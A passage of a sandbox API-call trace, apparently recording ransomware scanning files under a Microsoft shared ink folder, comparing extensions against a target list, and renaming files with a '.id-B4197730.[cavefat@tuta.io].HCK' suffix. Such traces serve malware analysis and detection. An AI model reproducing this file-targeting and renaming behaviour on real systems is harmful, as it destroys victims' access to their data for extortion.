shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0245.830] lstrlenW (lpString=".doc") returned 4 [0245.830] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0245.830] lstrlenW (lpString=".docx") returned 5 [0245.830] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0245.830] lstrlenW (lpString=".pdf") returned 4 [0245.830] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0245.830] lstrlenW (lpString=".xls") returned 4 [0245.830] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0245.830] lstrlenW (lpString=".xlsx") returned 5 [0245.830] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0245.830] lstrlenW (lpString=".ppt") returned 4 [0245.830] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0245.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0245.830] lstrlenW (lpString=".zip") returned 4 [0245.830] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0245.830] lstrlenW (lpString=".rar") returned 4 [0245.830] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0245.830] lstrlenW (lpString=".bz2") returned 4 [0245.830] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0245.830] lstrlenW (lpString=".7z") returned 3 [0245.830] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0245.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0245.830] lstrlenW (lpString=".dbf") returned 4 [0245.830] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0245.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0245.830] lstrlenW (lpString=".1cd") returned 4 [0245.830] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0245.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0245.830] lstrlenW (lpString=".jpg") returned 4 [0245.830] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0245.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0245.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0245.830] lstrlenW (lpString=".doc") returned 4 [0245.830] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0245.830] lstrlenW (lpString=".docx") returned 5 [0245.830] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0245.830] lstrlenW (lpString=".pdf") returned 4 [0245.830] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0245.830] lstrlenW (lpString=".xls") returned 4 [0245.830] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0245.830] lstrlenW (lpString=".xlsx") returned 5 [0245.831] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0245.831] lstrlenW (lpString=".ppt") returned 4 [0245.831] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0245.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0245.831] lstrlenW (lpString=".zip") returned 4 [0245.831] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0245.831] lstrlenW (lpString=".rar") returned 4 [0245.831] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0245.831] lstrlenW (lpString=".bz2") returned 4 [0245.831] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0245.831] lstrlenW (lpString=".7z") returned 3 [0245.831] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0245.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0245.831] lstrlenW (lpString=".dbf") returned 4 [0245.831] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0245.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0245.831] lstrlenW (lpString=".1cd") returned 4 [0245.831] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0245.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0245.831] lstrlenW (lpString=".jpg") returned 4 [0245.831] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0245.831] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0245.831] lstrlenW (lpString="boxed-delete.avi") returned 16 [0245.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0245.831] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=48936) returned 1 [0245.831] CloseHandle (hObject=0x348) returned 1 [0245.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0245.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0245.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0245.832] lstrlenW (lpString=".doc") returned 4 [0245.832] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0245.832] lstrlenW (lpString=".docx") returned 5 [0245.832] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0245.832] lstrlenW (lpString=".pdf") returned 4 [0245.832] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0245.832] lstrlenW (lpString=".xls") returned 4 [0245.832] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0245.832] lstrlenW (lpString=".xlsx") returned 5 [0245.832] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0245.832] lstrlenW (lpString=".ppt") returned 4 [0245.832] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0245.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0245.832] lstrlenW (lpString=".zip") returned 4 [0245.832] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0245.832] lstrlenW (lpString=".rar") returned 4 [0245.832] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0245.832] lstrlenW (lpString=".bz2") returned 4 [0245.832] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0245.832] lstrlenW (lpString=".7z") returned 3 [0245.832] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0245.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0245.832] lstrlenW (lpString=".dbf") returned 4 [0245.832] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0245.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0245.832] lstrlenW (lpString=".1cd") returned 4 [0245.832] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0245.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0245.832] lstrlenW (lpString=".jpg") returned 4 [0245.832] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0245.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0245.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0245.832] lstrlenW (lpString=".doc") returned 4 [0245.832] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0245.832] lstrlenW (lpString=".docx") returned 5 [0245.832] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0245.832] lstrlenW (lpString=".pdf") returned 4 [0245.832] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0245.833] lstrlenW (lpString=".xls") returned 4 [0245.833] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0245.833] lstrlenW (lpString=".xlsx") returned 5 [0245.833] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0245.833] lstrlenW (lpString=".ppt") returned 4 [0245.833] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0245.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0245.833] lstrlenW (lpString=".zip") returned 4 [0245.833] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0245.833] lstrlenW (lpString=".rar") returned 4 [0245.833] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0245.833] lstrlenW (lpString=".bz2") returned 4 [0245.833] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0245.833] lstrlenW (lpString=".7z") returned 3 [0245.833] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0245.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0245.833] lstrlenW (lpString=".dbf") returned 4 [0245.833] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0245.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0245.833] lstrlenW (lpString=".1cd") returned 4 [0245.833] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0245.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0245.833] lstrlenW (lpString=".jpg") returned 4 [0245.833] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0245.833] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0245.833] lstrlenW (lpString="boxed-join.avi") returned 14 [0245.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0245.834] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=46622) returned 1 [0245.834] CloseHandle (hObject=0x348) returned 1 [0245.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0245.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0245.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0245.834] lstrlenW (lpString=".doc") returned 4 [0245.834] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0245.834] lstrlenW (lpString=".docx") returned 5 [0245.834] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0245.834] lstrlenW (lpString=".pdf") returned 4 [0245.834] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0245.834] lstrlenW (lpString=".xls") returned 4 [0245.834] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0245.834] lstrlenW (lpString=".xlsx") returned 5 [0245.834] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0245.834] lstrlenW (lpString=".ppt") returned 4 [0245.834] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0245.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0245.834] lstrlenW (lpString=".zip") returned 4 [0245.835] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0245.835] lstrlenW (lpString=".rar") returned 4 [0245.835] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0245.835] lstrlenW (lpString=".bz2") returned 4 [0245.835] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0245.835] lstrlenW (lpString=".7z") returned 3 [0245.835] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0245.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0245.835] lstrlenW (lpString=".dbf") returned 4 [0245.835] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0245.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0245.835] lstrlenW (lpString=".1cd") returned 4 [0245.835] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0245.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0245.835] lstrlenW (lpString=".jpg") returned 4 [0245.835] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0245.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0245.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0245.835] lstrlenW (lpString=".doc") returned 4 [0245.835] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0245.835] lstrlenW (lpString=".docx") returned 5 [0245.835] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0245.835] lstrlenW (lpString=".pdf") returned 4 [0245.835] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0245.835] lstrlenW (lpString=".xls") returned 4 [0245.835] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0245.835] lstrlenW (lpString=".xlsx") returned 5 [0245.835] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0245.835] lstrlenW (lpString=".ppt") returned 4 [0245.835] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0245.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0245.835] lstrlenW (lpString=".zip") returned 4 [0245.835] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0245.835] lstrlenW (lpString=".rar") returned 4 [0245.835] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0245.836] lstrlenW (lpString=".bz2") returned 4 [0245.836] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0245.836] lstrlenW (lpString=".7z") returned 3 [0245.836] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0245.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0245.836] lstrlenW (lpString=".dbf") returned 4 [0245.836] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0245.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0245.836] lstrlenW (lpString=".1cd") returned 4 [0245.836] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0245.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0245.836] lstrlenW (lpString=".jpg") returned 4 [0245.836] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0245.836] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0245.836] lstrlenW (lpString="boxed-split.avi") returned 15 [0245.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0245.837] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=84190) returned 1 [0245.837] CloseHandle (hObject=0x348) returned 1 [0245.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0245.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0245.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0245.837] lstrlenW (lpString=".doc") returned 4 [0245.837] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0245.837] lstrlenW (lpString=".docx") returned 5 [0245.837] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0245.837] lstrlenW (lpString=".pdf") returned 4 [0245.837] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0245.838] lstrlenW (lpString=".xls") returned 4 [0245.838] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0245.838] lstrlenW (lpString=".xlsx") returned 5 [0245.838] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0245.838] lstrlenW (lpString=".ppt") returned 4 [0245.838] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0245.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0245.838] lstrlenW (lpString=".zip") returned 4 [0245.838] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0245.838] lstrlenW (lpString=".rar") returned 4 [0245.838] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0245.838] lstrlenW (lpString=".bz2") returned 4 [0245.838] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0245.838] lstrlenW (lpString=".7z") returned 3 [0245.838] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0245.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0245.838] lstrlenW (lpString=".dbf") returned 4 [0245.838] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0245.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0245.838] lstrlenW (lpString=".1cd") returned 4 [0245.838] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0245.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0245.838] lstrlenW (lpString=".jpg") returned 4 [0245.838] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0245.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0245.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0245.838] lstrlenW (lpString=".doc") returned 4 [0245.838] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0245.838] lstrlenW (lpString=".docx") returned 5 [0245.838] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0245.838] lstrlenW (lpString=".pdf") returned 4 [0245.838] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0245.838] lstrlenW (lpString=".xls") returned 4 [0245.838] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0245.838] lstrlenW (lpString=".xlsx") returned 5 [0245.838] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0245.838] lstrlenW (lpString=".ppt") returned 4 [0245.838] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0245.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0245.838] lstrlenW (lpString=".zip") returned 4 [0245.838] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0245.839] lstrlenW (lpString=".rar") returned 4 [0245.839] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0245.839] lstrlenW (lpString=".bz2") returned 4 [0245.839] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0245.839] lstrlenW (lpString=".7z") returned 3 [0245.839] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0245.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0245.839] lstrlenW (lpString=".dbf") returned 4 [0245.839] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0245.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0245.839] lstrlenW (lpString=".1cd") returned 4 [0245.839] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0245.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0245.839] lstrlenW (lpString=".jpg") returned 4 [0245.839] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0245.839] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0245.839] lstrlenW (lpString="correct.avi") returned 11 [0245.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0245.840] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=180172) returned 1 [0245.840] CloseHandle (hObject=0x348) returned 1 [0245.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0245.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0245.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0245.840] lstrlenW (lpString=".doc") returned 4 [0245.840] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0245.840] lstrlenW (lpString=".docx") returned 5 [0245.840] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0245.840] lstrlenW (lpString=".pdf") returned 4 [0245.840] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0245.840] lstrlenW (lpString=".xls") returned 4 [0245.840] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0245.840] lstrlenW (lpString=".xlsx") returned 5 [0245.840] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0245.841] lstrlenW (lpString=".ppt") returned 4 [0245.841] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0245.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0245.841] lstrlenW (lpString=".zip") returned 4 [0245.841] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0245.841] lstrlenW (lpString=".rar") returned 4 [0245.841] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0245.841] lstrlenW (lpString=".bz2") returned 4 [0245.841] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0245.841] lstrlenW (lpString=".7z") returned 3 [0245.841] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0245.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0245.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0245.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0246.319] SetFilePointerEx (hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0) [0246.319] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0246.682] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0246.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 